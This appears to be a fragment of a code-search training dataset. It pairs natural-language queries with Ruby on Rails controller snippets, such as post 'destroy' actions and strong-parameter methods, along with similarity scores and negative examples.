"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n render json: {\n data: {\n post: { key: @post.id },\n status: @post.status,\n }\n }\n end",
"def destroy\n\t\tpost = Post.find(params[:id])\n\t\t# byebug\n \tpost.destroy\n\t posts = Post.all\n \trender json: posts\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to posts_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_path, notice: \"Post removed.\" }\n format.json { render 'destroy' }\n end\n end",
"def delete\n @post = Post.find(params[:id])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path(client_id:current_user.client.id, per_page:5), notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to root_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/posts' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n render json: Post.all.as_json\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to blog_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n @title = \"Kill Post\"\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to all_user_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html {redirect_to posts_url, notice: 'Post was successfully destroyed.'}\n format.json {head 200}\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path, notice: 'Post was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with post.destroy(params[:id])\n end",
"def destroy\n @post.destroy\n \n respond_to do |format|\n format.html { redirect_to post_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n Post.find(params[:id]).delete\n\n redirect_to '/'\n end",
"def destroy\n # @post = Post.find(params[:id])\n #@post.destroy\n\n #respond_to do |format|\n # format.html { redirect_to posts_url }\n #format.json { head :no_content }\n #end\n end",
"def delete(url)\n raise Error, \"Missing URL\" unless url\n get('posts/delete?uri=' << u(url))\n nil\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find_by_slug(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Anúncio removido com sucesso.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.friendly.find(params[:id])\n @post.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Story deleted' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Postitus edukalt kustutatud!\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluida com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluída com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mural_post.destroy\n respond_to do |format|\n format.html { redirect_to mural_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @posto = Posto.find(params[:id])\n @posto.destroy\n\n respond_to do |format|\n format.html { redirect_to postos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n end"
] | [
"0.8046884",
"0.76902676",
"0.7583626",
"0.75803024",
"0.7568048",
"0.75047046",
"0.75031126",
"0.74750155",
"0.74671036",
"0.74650854",
"0.746482",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7423174",
"0.74059606",
"0.73990285",
"0.73928183",
"0.7389498",
"0.7371715",
"0.7371117",
"0.7349121",
"0.7344524",
"0.7342226",
"0.7338908",
"0.7313371",
"0.73123556",
"0.731156",
"0.73095584",
"0.7299751",
"0.7298017",
"0.7298017",
"0.7282874",
"0.7277125",
"0.7266815",
"0.7260945",
"0.72549784",
"0.7254856",
"0.7239102",
"0.7238946",
"0.7229726",
"0.7227931",
"0.7221013",
"0.721375",
"0.7211237",
"0.72097856",
"0.7190222",
"0.71850675",
"0.7171746",
"0.71533066",
"0.71457464",
"0.71434635",
"0.7142048",
"0.7139985",
"0.7137574"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_post
@post = Post.find(params[:post_id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def _handle_action_missing(*args); end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def duas1(action)\n action.call\n action.call\nend"
] | [
"0.6163821",
"0.6045432",
"0.5945441",
"0.5916224",
"0.58894575",
"0.5834073",
"0.57764685",
"0.5702474",
"0.5702474",
"0.5653258",
"0.56211996",
"0.54235053",
"0.5410683",
"0.5410683",
"0.5410683",
"0.53948104",
"0.5378064",
"0.5356684",
"0.53400385",
"0.53399503",
"0.53312254",
"0.53121567",
"0.52971965",
"0.52964705",
"0.52956307",
"0.52587366",
"0.52450675",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5233381",
"0.52325714",
"0.52288216",
"0.52229726",
"0.5218362",
"0.52142864",
"0.5207988",
"0.5206337",
"0.51762295",
"0.51745105",
"0.51728606",
"0.516616",
"0.5161016",
"0.5157393",
"0.5152562",
"0.51524293",
"0.5152397",
"0.5144533",
"0.513982",
"0.51342106",
"0.5113793",
"0.5113793",
"0.5113671",
"0.51092553",
"0.51062804",
"0.50921935",
"0.5088855",
"0.5082236",
"0.5079901",
"0.5066569",
"0.5055307",
"0.5053106",
"0.50499666",
"0.50499666",
"0.5035068",
"0.50258636",
"0.50220853",
"0.5015893",
"0.50134486",
"0.5001442",
"0.50005543",
"0.4998581",
"0.49901858",
"0.49901858",
"0.4986648",
"0.49809486",
"0.49792925",
"0.4978855",
"0.49685496",
"0.49656174",
"0.49576473",
"0.49563017",
"0.4955349",
"0.49536878",
"0.4952439",
"0.49460214",
"0.494239",
"0.49334687",
"0.49315962",
"0.49266812",
"0.49261138",
"0.4925925",
"0.4922542",
"0.4920779",
"0.49173284",
"0.49169463",
"0.4916256",
"0.49162322",
"0.49156886"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def comment_params
params.permit(:comment, :author)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def valid_params_request?; end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
